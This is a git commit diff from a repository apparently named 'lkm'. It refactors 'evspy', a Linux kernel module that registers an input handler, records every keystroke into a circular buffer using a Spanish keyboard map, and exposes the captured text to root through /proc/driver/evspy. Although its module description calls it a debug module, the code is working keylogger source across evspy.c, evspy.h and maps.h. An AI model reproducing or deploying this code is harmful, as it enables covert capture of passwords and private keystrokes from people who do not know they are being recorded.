summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGuillermo Ramos2011-09-03 16:24:37 +0200
committerGuillermo Ramos2011-09-03 16:24:37 +0200
commit5535a3b456231576ded5d5d291ec323746407523 (patch)
tree6e14dc7ebc53ff3be9195d9c36e64477df5f1ce6
parentb8dd360da59883eb2d50061063a97c6ddfb0a4dd (diff)
downloadlkm-5535a3b456231576ded5d5d291ec323746407523.tar.gz
Mejorada organización de código
-rw-r--r--evspy/evspy.c149
-rw-r--r--evspy/evspy.h106
-rw-r--r--evspy/maps.h37
3 files changed, 176 insertions, 116 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c
index 819a914..3216a62 100644
--- a/evspy/evspy.c
+++ b/evspy/evspy.c
@@ -41,9 +41,22 @@
static char *buffer;
static char *rdp;
static char *wrp;
-static char tag[] = "<+XXX>";
-static unsigned int blkmayus_state = FREE;
+static char *map = EVS_MAP; // The current keyboard layout
+// This is how special keys will be displayed (+: pressed / -: freed)
+static char sp_tag[] = "<+XXX>";
+
+
+/*
+ * Sometimes when blkmayus is pressed two identical events are triggered.
+ * blkmayus_state is meant to know if it has been already pressed,
+ * and discards the second event in that case
+ */
+static unsigned int blkmayus_state = EVS_VAL_FREE;
+
+/*
+ * Executed when the procfs file is read (EVS_PROCNAME)
+ */
int evspy_read_proc(char *page, char **start, off_t offset, int count,
int *eof, void *data)
{
@@ -51,11 +64,16 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,
int retval = 0;
int diff = wrp - rdp;
+ // root only plz
if (current_uid() || current_euid()) {
- n = MIN(10, count);
- strncpy(page, "Trolololo", n);
+#if EVS_TROLL == 1
+ n = MIN(36, count);
+ strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
*eof = 1;
return n;
+#else
+ return -EPERM;
+#endif
}
if (diff > 0) {
@@ -65,7 +83,7 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,
retval = n;
} else if (diff < 0) {
- toend = (buffer + BUFSIZE) - rdp;
+ toend = (buffer + EVS_BUFSIZE) - rdp;
n = MIN(toend, count);
strncpy(page, rdp, n);
retval = n;
@@ -85,98 +103,108 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,
return retval;
}
-void special_char(unsigned int code, unsigned int value)
+/*
+ * Handle unknown/special key events
+ */
+static void special_char(unsigned int code, unsigned int value)
{
- int known = 1;
int i;
+ int known = 1;
- // Elimina eventos de "despulsado" para teclas no deseadas
+ // We don't care when some keys are freed
switch(code) {
- case RMAYUS:
- case LMAYUS:
- case ALT:
- case LCTRL:
- case RCTRL:
- case ALTGR:
+ case EVS_COD_RMAYUS:
+ case EVS_COD_LMAYUS:
+ case EVS_COD_ALT:
+ case EVS_COD_LCTRL:
+ case EVS_COD_RCTRL:
+ case EVS_COD_ALTGR:
break;
default:
- if (value == FREE)
+ if (value == EVS_VAL_FREE)
return;
}
switch(code) {
- case RMAYUS:
- case LMAYUS:
- strncpy(tag+2, "MAY", 3);
+ case EVS_COD_RMAYUS:
+ case EVS_COD_LMAYUS:
+ strncpy(sp_tag+2, "MAY", 3);
break;
- case ALT:
- strncpy(tag+2, "ALT", 3);
+ case EVS_COD_ALT:
+ strncpy(sp_tag+2, "ALT", 3);
break;
- case ALTGR:
- strncpy(tag+2, "AGR", 3);
+ case EVS_COD_ALTGR:
+ strncpy(sp_tag+2, "AGR", 3);
break;
- case LCTRL:
- case RCTRL:
- strncpy(tag+2, "CTR", 3);
+ case EVS_COD_LCTRL:
+ case EVS_COD_RCTRL:
+ strncpy(sp_tag+2, "CTR", 3);
break;
- case TAB:
- strncpy(tag+2, "TAB", 3);
+ case EVS_COD_TAB:
+ strncpy(sp_tag+2, "TAB", 3);
break;
- case ESC:
- strncpy(tag+2, "ESC", 3);
+ case EVS_COD_ESC:
+ strncpy(sp_tag+2, "ESC", 3);
break;
- case UP_AR:
- strncpy(tag+2, "A^^", 3);
+ case EVS_COD_UP_AR:
+ strncpy(sp_tag+2, "^^A", 3);
break;
- case DOWN_AR:
- strncpy(tag+2, "Avv", 3);
+ case EVS_COD_DOWN_AR:
+ strncpy(sp_tag+2, "vvA", 3);
break;
- case LEFT_AR:
- strncpy(tag+2, "A<<", 3);
+ case EVS_COD_LEFT_AR:
+ strncpy(sp_tag+2, "<<A", 3);
break;
- case RIGHT_AR:
- strncpy(tag+2, "A>>", 3);
+ case EVS_COD_RIGHT_AR:
+ strncpy(sp_tag+2, ">>A", 3);
break;
default:
known = 0;
}
if (!known && isfX(code)) {
- strncpy(tag+2, "F??", 3);
+ // TODO: Which F key has been pressed?
+ strncpy(sp_tag+2, "F??", 3);
} else if (!known) {
-// strncpy(tag+2, "UNK", 3);
+// strncpy(sp_tag+2, "UNK", 3); // Uncomment this to display unknown events
return;
}
- if (value == PRESS)
- tag[1] = '+';
- else if (value == FREE)
- tag[1] = '-';
+ if (value == EVS_VAL_PRESS)
+ sp_tag[1] = '+';
+ else if (value == EVS_VAL_FREE)
+ sp_tag[1] = '-';
- for (i = 0; i < sizeof(tag) - 1; i++)
- ins(tag[i]);
+ for (i = 0; i < sizeof(sp_tag) - 1; i++)
+ evs_insrt(sp_tag[i]);
}
static void evspy_event(struct input_handle *handle, unsigned int type,
unsigned int code, int value)
{
- if (type == EV_BLKMAYUS) {
- // A veces la mierda esta manda dos eventos en vez de uno al pulsar BLKMAYUS
+ // Ignore hold-key events
+ if (unlikely(value == EVS_VAL_HOLD))
+ return;
+
+ // If bloq mayus is pressed, handle it the same way as left mayus
+ if (type == EVS_TYPE_BLKMAYUS) {
if (value != blkmayus_state)
- special_char(LMAYUS, value);
- if (value == PRESS)
- blkmayus_state = PRESS;
- else if (value == FREE)
- blkmayus_state = FREE;
+ special_char(EVS_COD_LMAYUS, value);
+ blkmayus_state = value;
return;
- } else if (type != 1 || value == HOLD || unlikely(code >= sizeof(map_es))) {
+ } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) {
return;
}
- if (map_es[code] == '.' && likely(code != DOT))
+
+ // Special/unknown keys (alt, ctrl, esc, mayus, etc)
+ if (map[code] == '.' && likely(code != EVS_COD_DOT))
special_char(code, value);
- else if (value == PRESS)
- ins(map_es[code]);
+
+ // "Direct" keys (alphanumeric + some symbols)
+ else if (value == EVS_VAL_PRESS) {
+ evs_insrt(map[code]);
+ }
}
static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
@@ -234,9 +262,8 @@ static struct input_handler evspy_handler = {
static int __init evspy_init(void)
{
- create_proc_read_entry(PROCNAME, 0, NULL,
- evspy_read_proc, NULL);
- buffer = kmalloc(BUFSIZE, GFP_KERNEL);
+ create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
+ buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL);
rdp = buffer;
wrp = buffer;
return !buffer || input_register_handler(&evspy_handler);
@@ -245,14 +272,14 @@ static int __init evspy_init(void)
static void __exit evspy_exit(void)
{
kfree(buffer);
- remove_proc_entry(PROCNAME, NULL);
+ remove_proc_entry(EVS_PROCNAME, NULL);
input_unregister_handler(&evspy_handler);
}
module_init(evspy_init);
module_exit(evspy_exit);
-MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
MODULE_AUTHOR("Vojtech Pavlik <vojtech@ucw.cz>");
+MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
MODULE_DESCRIPTION("Custom input driver event debug module");
MODULE_LICENSE("GPL");
diff --git a/evspy/evspy.h b/evspy/evspy.h
index f140638..1575b71 100644
--- a/evspy/evspy.h
+++ b/evspy/evspy.h
@@ -1,75 +1,71 @@
+#include "maps.h"
+
+#define EVS_MAP map_es // change this to your keyboard layout
+#define EVS_TROLL 1 // clear this if you're a serious guy
+#define EVS_PROCNAME "driver/evspy" // virtual file within /proc
+#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer
+
//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
-#define PROCNAME "driver/evspy2"
-#define BUFSIZE PAGE_SIZE
#define MIN(x, y) (x) < (y) ? (x) : (y)
-#define incp(p) \
+/*
+ * If pointer is at the end of buffer, put it at the beginning.
+ * If not, simply add 1 to it.
+ */
+#define evs_incp(p) \
({ \
- if (p == &buffer[BUFSIZE-1]) \
+ if (p == &buffer[EVS_BUFSIZE-1]) \
p = buffer; \
else \
p++; \
p; \
})
-#define ins(c) \
+/*
+ * Insert a character where wrp is pointing and move it to the next char.
+ * If rdp == wrp, increase rdp too.
+ */
+#define evs_insrt(c) \
({ \
*wrp = c; \
- if (incp(wrp) == rdp) \
- incp(rdp); \
+ if (evs_incp(wrp) == rdp) \
+ evs_incp(rdp); \
})
+/*
+ * Is the c event code associated to any of the FX buttons?
+ * NOTE: F1-F10 events are consecutive numbers, but F11 & F12 are not. (?)
+ */
#define isfX(c) \
({ \
- (c >= F1 && c <= F10) || (c == F11 || c == F12); \
+ (c >= EVS_COD_F1 && c <= EVS_COD_F10) || \
+ (c == EVS_COD_F11 || c == EVS_COD_F12); \
})
-#define EV_BLKMAYUS 17
-
-#define FREE 0
-#define PRESS 1
-#define HOLD 2
+// Bloq mayus has its own type
+#define EVS_TYPE_BLKMAYUS 17
-#define ESC 1
-#define TAB 15
-#define LCTRL 29
-#define LMAYUS 42
-#define DOT 52
-#define RMAYUS 54
-#define ALT 56
-#define BLKMAYUS 58
-#define F1 59
-#define F10 68
-#define F11 87
-#define F12 88
-#define RCTRL 97
-#define ALTGR 100
-#define UP_AR 103
-#define DOWN_AR 108
-#define LEFT_AR 105
-#define RIGHT_AR 106
+// Event values
+#define EVS_VAL_FREE 0
+#define EVS_VAL_PRESS 1
+#define EVS_VAL_HOLD 2
-static char map_es[] = {
- '.', '.', '1', '2', '3', //0 // 1:ESC
- '4', '5', '6', '7', '8', //5
- '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII)
- '.', 'q', 'w', 'e', 'r', //15 // 15:TAB
- 't', 'y', 'u', 'i', 'o', //20
- 'p', '`', '+', '\n', '.', //25 // 29:LCTRL
- 'a', 's', 'd', 'f', 'g', //30
- 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII)
- '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII)
- 'x', 'c', 'v', 'b', 'n', //45
- 'm', ',', '.', '-', '.', //50 // 52:. 54:RMAYUS
- '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10
- '.', '.', '.', '.', '.', //60
- '.', '.', '.', '.', '.', //65
- '.', '7', '8', '9', '-', //70
- '4', '5', '6', '+', '1', //75
- '2', '3', '.', '.', '.', //80
- '.', '<', '.', '.', '.', //85
- '.', '.', '.', '.', '.', //90
- '.', '\n', '.', '/', '.', //95 // 97:RCTRL
- '.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow
- '.', '.', '.', '.', '.', //105 // 105:lft_arrow 106:rgt_arrow 108:down_arrow
-};
+// Event codes
+#define EVS_COD_ESC 1
+#define EVS_COD_TAB 15
+#define EVS_COD_LCTRL 29
+#define EVS_COD_LMAYUS 42
+#define EVS_COD_DOT 52
+#define EVS_COD_RMAYUS 54
+#define EVS_COD_ALT 56
+#define EVS_COD_BLKMAYUS 58
+#define EVS_COD_F1 59
+#define EVS_COD_F10 68
+#define EVS_COD_F11 87
+#define EVS_COD_F12 88
+#define EVS_COD_RCTRL 97
+#define EVS_COD_ALTGR 100
+#define EVS_COD_UP_AR 103
+#define EVS_COD_DOWN_AR 108
+#define EVS_COD_LEFT_AR 105
+#define EVS_COD_RIGHT_AR 106
diff --git a/evspy/maps.h b/evspy/maps.h
new file mode 100644
index 0000000..41cd07a
--- /dev/null
+++ b/evspy/maps.h
@@ -0,0 +1,37 @@
+/*
+ * ## KEYBOARD LAYOUT MAPS ##
+ *
+ * Each map is an array where the content of each position is the key value
+ * associated with the event code (index). An special/unknown key is represented
+ * as a dot ('.'). The dot key itself has its own macro (EVS_COD_DOT).
+ *
+ * By the moment, evspy does not support non-ascii characters.
+ *
+ * Select your map with EVS_MAP macro in evspy.h
+ */
+
+// Spanish
+static char map_es[] = {
+ '.', '.', '1', '2', '3', //0 // 1:ESC
+ '4', '5', '6', '7', '8', //5
+ '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII)
+ '.', 'q', 'w', 'e', 'r', //15 // 15:TAB
+ 't', 'y', 'u', 'i', 'o', //20
+ 'p', '`', '+', '\n', '.', //25 // 29:LCTRL
+ 'a', 's', 'd', 'f', 'g', //30
+ 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII)
+ '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII)
+ 'x', 'c', 'v', 'b', 'n', //45
+ 'm', ',', '.', '-', '.', //50 // 52:. 54:RMAYUS
+ '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10
+ '.', '.', '.', '.', '.', //60
+ '.', '.', '.', '.', '.', //65
+ '.', '7', '8', '9', '-', //70
+ '4', '5', '6', '+', '1', //75
+ '2', '3', '.', '.', '.', //80
+ '.', '<', '.', '.', '.', //85
+ '.', '.', '.', '.', '.', //90
+ '.', '\n', '.', '/', '.', //95 // 97:RCTRL
+ '.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow
+ '.', '.', '.', '.', '.', //105 // 105:l_arrow 106:r_arrow 108:dwn_arrow
+};